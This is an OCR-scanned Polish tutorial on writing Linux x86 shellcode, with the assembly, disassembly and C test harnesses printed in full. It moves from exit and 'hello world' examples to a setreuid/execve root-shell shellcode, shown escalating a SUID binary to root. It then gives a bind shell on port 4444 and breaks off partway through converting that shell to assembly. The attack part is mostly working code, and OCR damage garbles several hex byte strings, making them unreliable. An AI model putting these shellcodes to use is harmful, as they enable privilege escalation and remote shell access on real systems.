Xor eax, eax ?

Wprowadzenie do tworzenia kodéw powtoki w systemie
by h07 (hO7@interia.pl)

char *index[6];

index[0] =" Intro "

index[1] =" Zaczynamy “;

index[2] =" Hello world ?!";

index[3] =" Shellcode tworz acy now a powlok e systemu "

index[4] = "Shellcode daj acy dost ep do powitoki systemu po nawi azaniu pot
index[5] = "Outro";

+++ killed by SIGSEGV +++

Intro.

Po przeczytaniu tego artykutu czytelnik powinien zrozumie¢

czym jest kod powtoki (ang. shellcode), jakg pehni role, oraz jak
samodzielnie tworzy¢ 6w kod powtoki.

Niezbedne bedzie réwniez posiadanie: komputera ;) , systemu linux
oraz narzedzi takich jak NASM (Netwide Assembler) oraz objdump.

Kod powioki (shellcode) jest zbiorem rozkazéw procesora wykonywanym

na skutek wykorzystania btedéw naruszenia pamieci w atakowanym procesie.
Zadania, ktére wykonuje shellcode sg rézne, ale najczestsze z nich

to tworzenie nowej powtoki lub nastuchiwanie na danym porcie

TCP by po potaczeniu haker uzyskat dostep do powtoki systemu.

Shellcode inaczej tez nazywany jest kodem bajtowym, poniewaz

rozkazy procesora reprezentowane sg jako zbior bajtow zapisanych

w systemie 16-stkowym.

Dlaczego bedziemy tworzy¢ kody powtoki w systemie Linux?
Poniewaz system ten w odréznieniu od systemu Windows korzysta
Z wywotan systemowych, (o czym za chwile) natomiast interfejs
Win32 systemu Windows korzysta z funkcji znajdujacych sie

w bibliotekach DLL (Dynamic Link Libraries). Kazda funkcja

w takiej bibliotece posiada wirtualny adres wzgledny RVA

(Relative Virtual Address). Wszystko to sprawia ze dla réznych
wersji systemu Windows nie znamy dokiadnego potozenia funkciji
w pamieci zatem stworzenie uniwersalnego kodu powtoki wymaga
0 wiele wiecej pracy niz w przypadku systemu Linux.

Wywotania systemowe sg zbiorem funkcji niskiego poziomu
pozwalajgcych na bezposrednie korzystanie z jadra systemu.
Kazda taka funkcja posiada wiasny identyfikator, co

znacznie utatwia tworzenie kodéw powtoki w systemie Linux.
Numery (identyfikatory) wywotan systemowych znajdujg sie w pliku
lusr/include/asm/unistd.h

Zaczynamy.

Zanim przejdziemy do omawiania wywotan systemowych z poziomu
assemblera warto zapoznac sie z przeznaczeniem rejestrow

procesoréw IA32 (x86) poniewaz bedziemy tworzy¢ kody powtoki wiasnie
dla tej architektury.

Linux.

aczenia";



Rejestry sg obszarem pamieci wewnatrz procesora, stuzacym do przechowywania
okreslonych wartosci liczbowych.

rejestry danych:

EAX - rejestr akumulatora.
32-bitowy rejestr, zawiera numer wywotania systemowego oraz wartos¢
zwracang przez funkcje. Dzieli sie na: [AX = 16 bit (word)], [AL, AH = 8 bit (byte)].

EBX - rejestr bazowy.
32-bitowy rejestr, przechowuje pierwszy argument wywotania systemowego.
Dzieli sie na: [BX = 16 bit (word)], [BL, BH = 8 bit (byte)].

ECX - rejestr licznika.

32-bitowy rejestr, przechowuje drugi argument wywotania systemowego,
czesto stosowany jako licznik w petlach.

Dzieli sie na: [CX = 16 bit (word)], [CL, CH = 8 bit (byte)].

EDX - rejestr danych.

32-bitowy rejestr, przechowuje trzeci argument wywotania systemowego,
czesto stosowany do przechowywania adreséw zmiennych.

Dzieli sie na: [DX = 16 bit (word)], [DL, DH = 8 bit (byte)].

rejestry adresowe:

ESI - adres zrGdiowy.

32-bitowy rejestr, uzywany do operacji na fancuchach danych.

W szczegolnych przypadkach mozna uzywac rejestru ESI jako rejestru danych.
Dzieli sie na: [SI = 16 bit (word)].

EDI - adres docelowy.

32-bitowy rejestr, j.w.

W szczegolnych przypadkach mozna uzywac rejestru EDI jako rejestru danych.
Dzieli sie na: [DI = 16 bit (word)].

ESP - wska znik wierzchotka stosu.

32-bitowy rejestr, przechowuje adres wierzchotka stosu,
kopiowany do rejestru EBP podczas prologu funkciji.
Dzieli sie na: [SP = 16 bit (word)].

EBP - wska znik bazowy.

32-bitowy rejestr, uzywany przez funkcje jako referencja wartosci na stosie.
Dzieli sie na: [BP = 16 bit (word)].

rejestry steruj ace:

EIP - (Extended Intruction Pointer) wska  znik instrukcji.

32-bitowy rejestr, przechowuje adres nastepnego rozkazu, ktory
zostanie wykonany przez procesor.

Ufff.. dla oséb, ktore dopiero zapoznajg sie z Assemblerem

moze wygladac to groznie ale nie taki diabet straszny.. o czym
przekonamy sie za chwile.

Przyjrzyjmy sie ponizszemu programowi napisanemu w jezyku C..
Ilexit.c

main()

exit(0);

}

Program ten w zasadzie nie robi nic précz tego ze konczy proces.

Sprobojmy, zatem zrealizowa¢ to samo zadanie z poziomu assemblera.
Pierwszg czynnoscig jest ustalenie identyfikatora wywotania systemowego exit().



[h07@MD5 h07]$ cat /usr/include/asm/unistd.h | grep exit
#define __NR_exit 1

Identyfikatorem funkcji exit() jest 1, argumentem 0O,

nalezy zatem zatadowaé¢ warto$¢ 1 do rejestru EAX

a warto$¢ 0 do rejestru EBX. Nastepnie wykonujemy przerwanie
programowe int 0x80 ktore przetacza procesor w tryb jadra i
wykonuje wywolanie systemowe.

exit.asm

section .text
global _start

_start:

mov eax, 1 ;identyfikator funkcji
mov ebx, 0 ;argument funkgciji
int 0x80  ;wywotanie funkcji systemowej exit(0)

proste :)

[h07@MD5 h07]$ nasm -f elf exit.asm
[h07@MD5 h071$ Id -o exit exit.o

[h07@MD5 h07]$ strace ./exit
execve("./exit", ["./exit"], [/* 45 vars */]) =0
_exit(0) =7

Widzimy ze program wykonat wywotanie systemowe exit()

z argumentem 0. Jednak naszym celem jest uzyskanie bajtow
reprezentujacych rozkazy procesora, ktére zostang wykonane w
przestrzeni atakowanego procesu. Do tego celu wykorzystamy narzedzie
objdump.

[h07@MD5 h07]$ objdump -d exit

exit:  file format elf32-i386

Disassembly of section .text:

08048080 <_start>:

8048080: b8 01 00 00 00 mov  $0x1,%eax
8048085: bb 00 00 00 00 mov  $0x0,%ebx
804808a: cd 80 int  $0x80

W ten sposéb otrzymalismy bajty reprezentujgce rozkazy procesora.
Tworzgc kod powtoki musimy pamieta¢ o 2 waznych sprawach, mianowicie:

-shellcode powinien byé jak najmniejszy.
-shellcode nie moze zawierac bajtow zerowych.

Im mniejszy kod powtoki tym wiekszg mamy szanse na umieszczenie go
nawet w niewielkich buforach wejsciowych atakowanego programu.

Dlaczego kod powtoki nie moze zawiera¢ bajtéw zerowych?
Przyjmijmy ze nasz kod powtoki znajduje sie w buforze wejsciowym A.
Nastepnie jest on kopiowany do bufora B przez funkcje strcpy().
Funkcja ta, jak i inne funkcje operujace na ciagach znakow

zakonhczy swoje dziatanie gdy napotka bajt zerowy (NULL byte)
oznaczajacy koniec tancucha znakowego.

Zatem nasz shellcode zostanie uciety i jego uruchomienie przez
atakowany program stanie sie niemozliwe.

Pierwszym sposobem unikniecia powstawania bajtéw zerowych
w kodzie powtoki jest stosowanie rozkazu réznicy symetrycznej XOR.
Jesli argumenty rozkazu XOR sg identyczne uzyskujemy warto$¢ 0



bez jawnego umieszczania bajtow zerowych w kodzie. przyktad:

Xor eax, eax; rejestr EAX zawiera 0 bez powstawania bajtéw zerowych
Kolejnym sposobem jest umieszczanie warto$ci o okreslonych rozmiarach

w odpowiadajacym im podziatach rejestrow. Zatézmy ze chcemy umiescic¢

wartos¢ 1 w rejestrze EAX. Jego 16-bitowym (dwu-bajtowym) odpowiednikiem

jest rejestr AX a 8-bitowym (1-bajtowym) jest rejestr AL (bajt nizszy)

oraz AH (bajt wyzszy). Reasumujac.. warto$¢ 1 mozemy zapisa¢ za

pomocag jednego bajtu zatem umieszczenie tej wartosci w rejestrze EAX

unikajgc powstawania bajtow zerowych przedstawia sie nastepujaco..

mov al, 1; rejestr EAX zawiera warto $¢ 1 bez powstania bajtéw zerowych
Calos$¢ przedstawiona jest ponizej.

;exit.asm

section .text
global _start

_start:

Xor eax, eax ;eaxO0

mov al, 1 ;eax 1
xor ebx, ebx ;ebx 0
int 0x80 ;wywotanie systemowe exit(0)

Uzyskamy teraz bajty odpowiadajgce rozkazom procesora
i umiescimy je w tablicy typu char, ktorej pojedynczy element
jest pojedynczym bajtem.

[h07@MD5 h07]$ nasm -f elf exit.asm
[h07@MD5 h071$ Id -o exit exit.o
[h07@MD5 h07]$ objdump -d exit
exit: file format elf32-i386

Disassembly of section .text:

08048080 <_start>:

8048080: 31c0 xor  %eax,%eax
8048082: b0 01 mov  $0x1,%al
8048084 31db xor  %ebx,%ebx
8048086: cd 80 int  $0x80
[lexit.c

char shellcode[] =
"\x31\xc0\xb0\x01\x31\xdb\xcd\x80";
main()

void (*test)() = (void *)shellcode;
test();

[h07@MD5 h07]$ gcc -o exit exit.c
[h07@MD5 h07]$ strace ./exit

" exit(0) =2

W ten sposob dotarliSmy do pierwszej czesci tego artykutu.
Wygenerowany kod powtoki zadziatat prawidtowo i nie zawiera juz
bajtéw zerowych, tym samym nadajac sie do "wstrzykniecia"

w obszar pamieci atakowanego procesu.

Hello world ?!



Hello world, zadaniem naszego nastepnego kodu

powtoki bedzie wyswietlenie na ekranie monitora napisu
"hello world". Po co? Bedzie to idealny przyktad ilustrujacy
sztuczke nazywang "adresowaniem wzglednym".

Jesli kod powtoki ma by¢ kodem uniwersalnym, dziatajgcym

w wiekszosci systemoOw to nie moze on zawiera¢ adreséw
zdeklarowanych na state. By wyswietli¢ na ekranie monitora
napis "hello world" postuzymy sie funkcjg write(). Jednym

z argumentow 6w funkcji jest adres tancucha znakowego,

ktéry zostanie wyswietlony za posrednictwem standardowego
wyjscia (STDOUT). Metoda, ktéra pozwala ustali¢ adres
tancucha znakowego w kodzie powtoki nazywa sie adresowaniem
wzglednym. przykfad:

Section .text
global _start

_start:
jmp short get_string

shellcode:
pop esi ;rejestr esi przechowuje teraz adres ta ncucha znakowego

get_string:
call shellcode
db 'hello world'

Ustalenie adresu tancucha znakowego realizowana jest za pomoca,
instrukcji JMP i CALL.

-Na poczatku wykonujemy skok do rozkazu CALL.
jmp short get_string

-Adres nastepnego rozkazu po rozkazie CALL odkfadany jest na stosie.
W naszym przypadku jest to deklaracja tancucha znakowego.

get_string:
call shellcode
db 'hello world'

-Wracamy do instrukcji kodu powtoki i sciggamy ze stosu
adres fancucha znakowego, umieszczajac go w rejestrze ESI.

shellcode:
pop esi

-Teraz kod powtoki moze postugiwac sie wzglednym adresem
tancucha znakowego w dalszych instrukcjach kodu dzieki
czemu shellcode bedzie mogt by¢ uruchomiony w wiekszosci
systemow.

Powracajac do funkcji write(), musimy ustali¢ jej identyfikator,
ktéry zostanie zatadowany do rejestru EAX.

[h07@MD5 h07]$ cat /usr/lnclude/asm/unlstd h | grep write
#define __NR_write

Funkcja write() przyjmuje nastepujace argumenty:
-deskryptor standardowego wyjscia (STDOUT)
-wskaznik ciggu znakow

-ilos¢ wyprowadzanych znakéw

Zatem wykonanie wywotania systemowego write() przebiegac



bedzie nastepujaco...

Do rejestru EAX trafi identyfikator funkcji, czyli 4.

Do rejestru EBX trafi deskryptor standardowego wyjscia (STDOUT) czyli 1.
Do rejestru ECX trafi wskaznik tancucha znakowego.

Do rejestru EDX trafi ilo$¢ wyprowadzanych znakow.

:hello.asm

Section .text
global _start

_start:
jmp short get_string

shellcode:

write

pop ecx

XOr eax, eax
mov al, 4
xor ebx, ebx
mov bl, 1
xor edx, edx
mov dl, 12
int 0x80

sexit

mov al, 1
xor ebx, ebx
int 0x80

get_string:
call shellcode
db 'hello world', Ox0a

Omowie teraz wyzej przedstawione instrukcje krok po kroku.

-Na poczatku wykonywany jest skok do rozkazu CALL w celu pobrania
adresu ciggu znakow "hello world".

jmp short get_string

- Nastepnie wracamy do rozkazoéw kodu powtoki odktadajac
adres nastepnej instrukcji po rozkazie CALL.

Deklaracja tancucha znkéw "hello world" zakonczona

jest znakiem konca lini EoL (End of Line) OxOa.

get_string:
call shellcode
db 'hello world', Ox0a

-Pobieramy adres ciggu znakdw ze stosu i umieszczamy go w rejestrze
ECX, poniewaz rejestr ten traktowany jest jako drugi argument funkcji write()
i to wlasnie ten argument powinien reprezentowa¢ adres tancucha znakowego.

pop ecx

-"Zerujemy" rejestr EAX rozkazem XOR i umieszczamy w jego pierwszym bajcie (AL)
numer funkcji write() czyli 4.

XOr eax, eax
mov al, 4

-"Zarujemy" rejestr EBX rozkazem XOR i umieszczamy w jego pierwszym bajcie (BL)
numer (deskryptor) standardowego wyjscia (STDOUT) czyli 1.

xor ebx, ebx
mov bl, 1



-"Zerujemy" rejestr, EDX rozkazem XOR i umieszczamy w jego pierwszym bajcie (DL)
ilos¢ wyprowadzanych znakow (razem z bajtem konczacym linie 0x0a) czyli 12.

xor edx, edx
mov dl, 12

-Przechodzimy w tryb jadra przerwaniem programowym int 0x80 wykonujac
funkcje write().

int 0x80
-Wykonujemy funkcje exit() by poprawnie zakonczy¢ proces.
mov al, 1

xor ebx, ebx
int 0x80

Uruchamiamy shellcode..

[h07@MD5 h07]$ nasm -f elf hello.asm
[h07@MD5 h07]1$ Id -o hello hello.o
[h07@MD5 h07]$ objdump -d hello
hello: file format elf32-i386
Disassembly of section .text:

08048080 <_start>:

8048080: eb 15 jmp 8048097 <get_string>
08048082 <shellcode>:

8048082: 59 pop %ecx
8048083: 31c0 xor  %eax,%eax
8048085: b0 04 mov  $0x4,%eal
8048087: 31db xor  %ebx,%ebx
8048089: b3 01 mov  $0x1,%bl
804808b: 31d2 xor  %edx,%edx
804808d: b2 Oc mov  $0xc,%dl
804808f: cd 80 int  $0x80
8048091: b0 01 mov  $0x1,%eal
8048093: 31db xor  %ebx,%ebx
8048095: cd 80 int  $0x80

08048097 <get_string>:

8048097: e8 eb6 ff ff ff call 8048082 <shellcode>
804809c: 68 65 6¢ 6¢ 6f push $0x6f6c6c65

80480a1: 20 77 6f and  %dh,0x6f(%edi)

80480a4: 72 6C jb 8048112 <get_string+0x7b>
80480a6: 64 fs

80480a7: Oa .byte Oxa

/Ihello.c

char shellcode[] =

"\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x31\x
"\xb0\x01\x31\xdb\xcd\x80\xe8\xe6\xfAAxfAAxffix68\x
"\X77\x6f\x72\x6c\x64\x0a";

d2\xb2\x0c\xcd\x80"
65\x6¢c\x6¢\x6f\x20"

main()

void (*test)() = (void *)shellcode;
test();
}

[h07@MD5 h07]$ gcc -o hello hello.c



[h07@MD5 h07]$ ./hello
hello world

| tak oto zakonczyliSmy drugi punkt tego artykutu.

Staralem sie przedstawi¢ podstawy shellcodingu w jak najprostszy sposob.
Przejdziemy teraz do tworzenia kodéw powtoki, ktére beda mogty by¢ wykorzystane
w realnym srodowisku, mam tu na my$li kod powtoki tworzacy nowg powloke systemu
(wykorzystywany w exploitach lokalnych) oraz kod powtoki dajacy dostep do

powtoki systemu po nawigzaniu potaczenia na okreslonym porcie (wykorzystywany

w exploitach zdalnych).

Shellcode tworz gcy now g powtoke systemu.

Zaldzmy, ze na lokalnej maszynie atakujemy program, ktérego wtascicielem

jest root a sam program posiada ustawiony atrybut SUID. Jesli zmusimy

atakowany program by utworzyt nowg powloke systemu to tym samym

uzyskamy uprawnienia wiasciciela czyli root'a.

Wyzej opisana metoda ataku realizowana jest przez "exploity lokalne"

a nieodtgczng ich czescig jest shellcode tworzgcy nowg powloke systemu.

Wykonanie takiego kodu powtoki opiera sie na wywotaniu dwoéch funkcji systemowych..
seteruid() oraz execve().

/Ishell.c
#include <stdio.h>
main()

char *arg[2];
arg[0] = "/bin/sh";
arg[1] = NULL;

setreuid(0, 0);
execve(arg[0], arg, NULL);
}

Program shell.c tworzy nowg powtoke systemu. Uzyta w nim funkcja setreuid()
ustawia rzeczywisty i efektywny identyfikator uzytkownika. Dzieki 6w funkcji

nowo utworzona powiloka systemu uzyska uprawnienia super uzytkownika (root'a)
gdy wiascicielem programu shell.c jest root a program bedzie posiadat ustawiony
atrybut SUID. Za samo tworzenie nowej powtoki w naszym programie odpowiada
funkcja execve().

Pierwszym argumentem funkcji execve() jest wskaznik do tahcucha

znakow zawierajacy nazwe programu, ktéry zostanie wykonany.

Kolejnym argumentem jest wskaznik do tablicy argumentéw a ostatnim

wskaznik do tablicy Srodowiska, ktéry w naszym przypadku przyjmuje warto$¢ NULL.

Dysponujac tymi informacjami mozemy przystapi¢ do tworzenia kodu powtoki

a zrealizowanie tego zadania bedzie bardzo podobne do poprzedniego przykiadu,
poniewaz tu réwniez zastosujemy sztuczke zwang adresowaniem wzglednym.
;shell.asm

Section .text

global _start
_start:

jmp short get_address_string
shellcode:

pop esi

;setreuid

XOr eax, eax

mov al, 70

xor ebx, ebx
XOr ecx, ecx



int 0x80

;execve
XOr eax, eax

mov [esi + 7], al
mov [esi + 8], esi
mov [esi + 12], eax
mov al, 11

mov ebx, esi

lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80

get_address_string:

call shellcode
db '/bin/shNAAAABBBB'

Omoéwienie:

-Wykonujemy skok do rozkazu CALL i odktadamy na stosie

adres ciggu znakéw reprezentujgcy nazwe programu, ktory

zostanie wykonany przez funkcje execve(). W miejsce znaku N
umiescimy bajt zerowy konczac tym samym faricuch znakowy.

W miejsce znakdw AAAA umiescimy wskaznik do tablicy argumentow.
W miejsce znakéw BBBB umiescimy wskaznik do tablicy srodowiska
czyli w naszym przypadku warto$¢ NULL.

get_address_string:

call shellcode
db '/bin/shNAAAABBBB'

-Wracamy do instrukcji kodu powtoki, Sciggamy ze stosu
adres ciggu znakéw i mieszamy go w rejestrze ESI.

shellcode:
pop esi

-Wywotanie funkcji setreuid(0, 0) jest banalnie proste.
Umieszczamy w rejestrze AL jej identyfikator (70)

i "zerujemy" dwa kolejne rejestry (EBX, ECX).

Na kohcu wykonujemy przerwanie programowe int 0x80.

;setreuid
XOr eax, eax
mov al, 70
xor ebx, ebx

XOr ecx, ecx
int 0x80

-Umieszczamy bajt zerowy konczacy tancuch znakéw
w siédmym przesunieciu wzgledem poczatku ciggu znakéw
(w miejsce znaku N).

XOr eax, eax
mov [esi + 7], al

-Umieszczamy wskaznik tablicy argumentow w miejsce znakéw "AAAA".
mov [esi + 8], esi

-Umieszczamy wskaznik tablicy srodowiska (wartos¢ NULL)
w miejscu znakéw "BBBB".

mov [esi + 12], eax
-Umieszczamy identyfikator funkcji execve (11) w rejestrze AL.

mov al, 11



-Umieszczamy pierwszy argument funkcji execve() w rejestrze EBX
(ciag znakow zawierajacy nazwe programu, ktory zostanie wykonany).

mov ebx, esi

-Umieszczamy drugi argument w rejestrze ECX
(wskaznik tablicy argumentow).

lea ecx, [esi + 8]

-Umieszczamy trzeci argument w rejestrze EDX
(wskaznik tablicy srodowiska (w naszym przypadku warto$¢ NULL)).

lea edx, [esi + 12]

-Wykonujemy funkcje execve().

int 0x80

Przetestujemy teraz uzyskany kod powtoki..
[h07@MD5 h07]$ nasm -f elf shell.asm
[h07@MD5 h071$ Id -o shell shell.o
[h07@MD5 h07]$ objdump -d shell

shell:  file format elf32-i386

Disassembly of section .text:

08048080 <_start>:

8048080: eb 22 jmp 80480a4 <get_address_string>
08048082 <shellcode>:

8048082: 5e pop %esi

8048083: 31c0 xor  %eax,%eax
8048085: b0 46 mov  $0x46,%al
8048087: 31db xor  %ebx,%ebx
8048089: 319 xor  %ecx,%ecx
804808b: cd 80 int  $0x80

804808d: 31 c0 xor  %eax,%eax
804808f: 88 46 07 mov  %al,0x7(%esi)
8048092: 89 76 08 mov  %esi,0x8(%esi)
8048095: 89 46 Oc mov  %eax,0xc(%esi)
8048098: b0 Ob mov  $0xb,%eal

804809a: 89 f3 mov  %esi,%ebx
804809c: 8d 4e 08 lea 0x8(%esi),%ecx
804809f: 8d 56 Oc lea  Oxc(%esi),%edx
80480a2: cd 80 int  $0x80

080480a4 <get_address_string>:

80480a4: e8 do ff ff ff call 8048082 <shellcode>
80480a9: 2f das

80480aa: 62 69 6e bound %ebp,0x6e(%ecx)
80480ad: 2f das

80480ae: 73 68 jae 8048118 <get_address_string+0x74>
80480b0: 4e dec %esi

80480b1: 41 inc  %ecx

80480b2: 41 inc  %ecx

80480b3: 41 inc  %ecx

80480b4: 41 inc  %ecx

80480b5: 42 inc  %edx

80480b6: 42 inc  %edx

80480b7: 42 inc  %edx

80480b8: 42 inc  %edx



/ltest.c

char shellcode[] =

"\xeb\x22\x5e\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x 80\x31\xc0\x88\x46"
"\X07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x 4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xd9\xf\xfAxffAx2f\x62\x69\x6e\x 2f\x 73\x68\x4e\x41\x41"

"\x41\x41\x42\x42\x42\x42";
main()

void (*test)() = (void *)shellcode;
test();

[root@MD5 h07]# gcc -o test test.c
[root@MD5 h07]# chown root test
[root@MD5 h07]# chmod +s test
[root@MD5 h07]# exit

exit

[h07@MD5 h071$ whoami
ho7

[h07@MD5 h07]$ ./test
sh-2.05b# whoami
root

Shellcode zadziatat prawidlowo tworzac nowg powloke systemu.
Poniewaz wiascicielem programu test.c byt root oraz program ten
posiadat ustawiony atrybut SUID to w rezultacie nowo utworzona
powloka systemu uzyskata uprawnienia super uzytkownika.

Aby uzyskany kod powtoki byt jeszcze mniejszy mozemy usunagé
Z niego bajty rezerwujgce (NAAAABBBB == \x4e\x41\x41\x41\x41\x42\x42\x42\x42).

przyktad:

"\xeb\x22\x5e\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x 80\x31\xc0\x88\x46"
"\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x 4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xd 9\xfAAxfAxfAx2f\x62\x69\x6e\x2f\x 73\x68";

Otrzymany kod powtoki mozemy wykorzysta¢ w exploitach lokalnych i jesli
uda sie nam zmieni¢ sterowanie atakowanego programu w taki sposéb by
wykonat shellcode to otrzymamy tak zwanego root-shell'a pod warunkiem ze
program jest SUID'em a jego wtascicielem jest root.

Shellcode daj gcy dost ep do powitoki systemu po nawi gzaniu pot gczenia.

Typowym scenariuszem wtamania do systemu jest wykorzystanie btedu
naruszenia pamieci w danej ustudze sieciowej. Wowczas sterowanie
atakowanym procesem zostaje zmienione przez co wykonywany jest
shellcode dajacy dostep do powitoki systemu na okreslonym porcie TCP.
Gdy haker wykona potgczenie na okreslony port uzyskuje dostep do
powtoki systemu i jego nastepnym celem jest zdobycie uprawnien root'a.
Stworzenie takiego kodu powtoki wymaga uzycia wielu réznych funkcji.
Przyjrzyjmy sie, zatem ponizszemu programowi napisanemu w jezyku C
i przeanalizujmy sposoéb jego dziatania.

/Ibind.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>



main()

char *arg[2];
int sock, a_handle;
struct sockaddr_in server;

arg[0] = "/bin/sh";
arg[1] = NULL;

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
server.sin_addr.s_addr = 0;

server.sin_port = htons(4444);

server.sin_family = AF_INET,;

bind(sock, (struct sockaddr *) &server, 16);
listen(sock, 1);

a_handle = accept(sock, 0, 0);

dup2(a_handle, 0);
dup2(a_handle, 1);
dup2(a_handle, 2);

execve(arg[0], arg, NULL);
}

Zadaniem programu bind.c jest udostepnienie powtoki systemu
po nawigzaniu potaczenia TCP na porcie 4444.
Jak to dziata?

Na poczatku dziatania programu przez funkcje socket() tworzone

jest gniazdo strumieniowe (TCP).

Nastepnie funkcja bind() przypisuje gniazdo do portu,

na ktérym serwer bedzie nastuchiwat.

Za sprawg funkgiji listen() program oczekuje na potaczenie.

Potaczenie przychodzace przyjmowane jest przez funkcje accept(),
ktéra w rezultacie tworzy nowe gniazdo obstugujace klienta (a_handle).
Ostatnim zadaniem realizowanym przez program bind.c jest
przekierowanie deskryptoréw STDIN (0), STDOUT (1), STDERR (2) do
gniazda klienta i uruchomienie programu "sh".

Za duplikacje deskryptoréw odpowiada funkcja dup2() natomiast

do uruchomienia innego programu postuzyliSmy sie (tak jak w
poprzednim podpunkcie) funkcjg execve().

Po nawigzaniu potaczenia TCP na porcie 4444 program bind.c
przekierowuje standardowe deskryptory wejscia/wyjscia do
gniazda klienta po czym uruchamia program "sh" dajgc nam
mozliwo$¢é zdalnego wydawania polecen programowi "sh" i
otrzymywania odpowiedzi.

Wszystkie czynnosci, ktére wykonuje program bind.c bedziemy

musieli zrealizowaé z poziomu assemblera. Konieczne, zatem staje
sie omowienie wszystkich argumentow funkcji programu bind.c

Funkcja socket()  przyjmuje nastepujgce argumenty:

-rodzina protokotow (w naszym przypadku AF_INET [AF_INET == 2] ).

-typ protokotu (w naszym przypadku SOCK_STREAM [SOCK_STREAM == 1).
-protokét (w naszym przypadku IPPROTO_TCP [IPPROTO_TCP == 0] ).
Funkcja bind() przyjmuje nastepujgce argumenty:

-deskryptor gniazda zwr6cony przez funkcje socket().

-wskaznik do struktury sockaddr_in

-rozmiar struktury.

Funkcja listen() przyjmuje nastepujace argumenty:



-deskryptor gniazda zwrécony przez funkcje socket().
-maksymalna ilos¢ potaczen

Funkcja accept()  przyjmuje nastepujgce argumenty:

-deskryptor gniazda zwrécony przez funkcje socket().
-wskaznik do struktury sockaddr_in
-rozmiar struktury.

Funkcja dup2() przyjmuje nastepujgce argumenty:

-deskryptor gniazda klienta zwrécony przez funkcje accept().
-deskryptor standardowego wejscia/wyjscia [STDIN == 0, STDOUT == 1, STDERR == 2]

Funkcja execve() byla juz omawiana w poprzednim punkcie tego
artykutu.

Z poziomu assemblera, funkcje socket(), bind(), listen(), accept() wykonywane
sq jako jedno wywotanie systemowe socket-call 0 numerze
102. Numer ten trafia do rejestru EAX. Do rejestru EBX trafia numer podfunkciji:

1 -socket()
2 -bind()

4 -listen()
5 -accept()

Do rejestru ECX trafiajg argumenty funkcji, ktére przedtem zostajg umieszczone
na stosie. Stos jest pamiecig typu LIFO (Last In Firs Out). Oznacza to, ze
ostatni obiekt odtozony na stosie bedzie z niego zdjety jako pierwszy.

Innymi stowy ostatni argument odtozony na stosie bedzie traktowany przez
funkcje jako pierwszy zatem argumenty na stosie musza by¢é umieszczane w
odwrotnej kolejnosci.

Dysponujac tymi danymi mozemy przestgpi¢ do tworzenia kodu powtoki..

-Funkcja socket().

;socket

xor ebx, ebx ;ebx 0

push ebx ;push 0 (0 == IPPROTO_TCP)

inc ebx ;ebx =ebx + 1

push ebx ;push 1 (1 == SOCK_STREAM)

inc ebx ;ebx =ebx + 1

push ebx ;push 2 (2 == AF_INET)

XOr eax, eax ;eax 0

mov al, 102 ;numer wywotania socket-call

dec ebx ;ebx = ebx - 1 (numer podfunkcj i socket() czyli 1)

MoV ecx, esp ;kopiujemy adres argumentéw odt ozonych na stosie do rejestru ECX

int 0x80 ;wykonujemy funkcje socket()

mov edx, eax ;rejestr EDX przechowuje teraz deskryptor gniazda,
;zwrécony przez funkcje socket(

Opis:

Odktadamy na stosie argumenty funkcji rozkazem PUSH w odwrotnej kolejnosci.
Rozkaz inkrementacji INC zwieksza warto$¢ rejestru, EBX o, 1 dzieki czemu

nie musimy tadowac¢ poszczegoélnych wartosci reprezentujgcych argumenty
funkcji socket(). Do Rejestru AL trafita numer wywotania systemowego socket-call.
Rejestr EBX ulega dekrementacji (rozkaz DEC (zmniejszenie warto$ci o 1))
przyjmujac numer podfunkcji socket() czyli 1. W rejestrze ECX umieszczamy
adres argumentow odtozonych na stosie (ESP wskazuje szczyt stosu).
Wykonujemy przerwanie programowe int Ox80. Rejestr EAX zawiera warto$¢
zwracang przez funkcje. W przypadku funkcji socket() jest to deskryptor gniazda.
Wartosc¢ ta kopiowana jest do rejestru EDX.

-Funkcja bind().

:bind
XOr eax, eax :eax 0



push eax ;push 0

push eax ;push 0

push eax ;push 0

push word 23569 ;(23569 == htons(4444))

mov al, 2 (2 ==AF_INET)

push ax ;odktadamy na stos warto $¢ typu word (2 bajty)

MoV ecx, esp ;do rejestru ECX adres struktur y sockaddr_in

mov al, 16 ;W rejestrze AL umieszczamy roz miar struktury sockaddr_in

push eax ;odktadamy rozmiar struktury so ckaddr_in na stosie

push ecx ;odktadamy na stosie adres stru ktury sockaddr_in

push edx ;odkladamy na stos deskryptor g niazda przechowywany w rejestrze EDX
mov al, 102 ;numer wywotania socket-call

inc ebx ;ebx = ebx + 1 (numer podfunkcj i bind() 2)

MoV ecx, esp ;kopiujemy adres argumentow odt ozonych na stosie do rejestru ECX
int 0x80 ;wykonujemy funkcje bind()

Opis:

Tworzymy na stosie strukture sockaddr_in.

Ow struktura reprezentuje internetowy adres IP. W naszym przypadku
powinna ona zawiera¢ zdefiniowang rodzine protokotéw (AF_INET) oraz
numer otwieranego portu zapisany zgodnie z sieciowg reprezentacja bajtow.
(funkcja htons()  zwraca numer portu zgodnie z sieciowg reprezentacjag
bajtow).

printf("%d\n", htons(4444));
23569

Struktura sockaddr_in ma rozmiar 16 bajtow.

W pierwszej kolejnosci "zerujemy" rejestr EAX i trzykrotnie wykonujemy

rozkaz PUSH EAX wypetniajac tym samym 12 bajtéw struktury sockaddr_in

Nastepnie na stosie umieszczamy 2-bajtowg wartos¢ okreslajaca port.

W rejestrze AL umieszczamy warto$¢ reprezentujaca rodzine protokotéw (AF_INET), czyli 2.
Rejestr AL jest 1-bajtowy a nasza struktura ma rozmiar 16 bajtow,

zatem na stosie umieszczamy 2-bajtowg wartosé rejestru AX.

W rejestrze ECX umieszczamy adres struktury sockaddr_in  (ESP wskazuje szczyt stosu).
W rejestrze AL umieszczamy rozmiar struktury sockaddr_in

Odktadamy na stos rozmiar struktury, adres struktury oraz deskryptor gniazda zwrécony
przez funkcje socket(). W rejestrze AL umieszczamy numer wywotania systemowego
socket-call. Rozkazem inkrementacji zwiekszamy warto$¢ rejestru EBX

uzyskujgc numer podfunkcji bind() czyli 2.

